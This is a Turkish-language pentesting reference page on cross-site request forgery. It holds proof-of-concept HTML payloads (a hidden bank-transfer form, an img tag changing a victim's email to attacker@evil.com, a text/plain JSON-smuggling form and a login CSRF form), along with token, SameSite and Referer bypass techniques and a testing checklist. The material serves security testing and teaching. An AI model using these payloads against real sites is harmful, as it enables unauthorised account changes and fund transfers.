Skip to content

Cross-Site Request Forgery (CSRF)

OWASP · Broken Access Control ilişkili difficulty: kolay–orta

Cross-Site Request Forgery (CSRF), giriş yapmış bir kullanıcının tarayıcısının, saldırganın hazırladığı bir sayfa aracılığıyla hedef siteye istem dışı durum değiştirici bir istek göndermesidir. Tarayıcı çerezleri otomatik eklediği için istek kurbanın kimliğiyle yürütülür.

  • İşlem yalnızca çerez (veya otomatik gönderilen) oturuma dayanmalı.
  • İstek parametreleri saldırgan tarafından tahmin edilebilmeli / sabitlebilmeli.
  • CORS / custom header zorunluluğu yoksa basit HTML formu yeterlidir.

JSON + Content-Type: application/json zorunluysa klasik form çalışmaz; XSS, flash (tarihsel) veya text/plain kabulü gibi yan yollar aranır.

<html>
<body>
<form action="https://banka.example/transfer" method="POST" id="f">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
</body>
</html>

GET tabanlı durum değişikliği:

<img src="https://hedef.example/email/change?email=attacker@evil.com">

Görsel / tıklama gerektiren varyant: Clickjacking PoC.

  1. Token doğrulaması yönteme bağlı — POST’ta zorunlu token, GET’te yoksa isteği GET’e çevir.

  2. Token oturumla bağlı değil — kendi hesabından geçerli CSRF token alıp kurbana kullandır (token reuse).

  3. Token yalnızca çerezde — csrf=… cookie + body aynı değerdeyse saldırgan her ikisini de set edemez ama bazı uygulamalar sadece cookie’ye bakar (double-submit eksik uygulanmış).

  4. SameSite eksik / Lax — SameSite=None veya başlık yoksa klasik CSRF çalışır. Lax iken üst düzey GET navigasyonu (link) hâlâ tetiklenebilir.

  5. Referer / Origin kontrolü zayıf — boş Referer kabulü ( meta referrer no-referrer ), alt dizin / subdomain allow-list hatası ( https://hedef.example.attacker.com ).

  6. Content-Type gevşek — text/plain veya application/x-www-form-urlencoded ile JSON benzeri gövde kabulü:

    <form enctype="text/plain" method="POST" action="https://hedef/api">
    <input name='{"email":"x@evil.com","x":"' value='"}'>
    </form>
<!-- Kurbanı saldırgan hesabına login ettir (session fixation benzeri etki) -->
<form action="https://hedef/login" method="POST">
<input name="user" value="attacker">
<input name="pass" value="...">
</form>

Logout CSRF ile kurbanı oturumdan düşürüp phishing’e yönlendirmek de mümkündür.

XSS varsa CSRF token’ı DOM’dan okunup istek atılabilir — CSRF koruması XSS karşısında yetersizdir. Stored XSS → admin işlemi zinciri sık görülür.

□ Durum değiştiren her uç (email, parola, transfer, rol)
□ Token kaldır / boş / başka oturumun token'ı
□ Method override (_method=PUT, X-HTTP-Method-Override)
□ SameSite çerez bayraklarını Response'ta incele
□ Mobil / eski API yolları (token'sız legacy)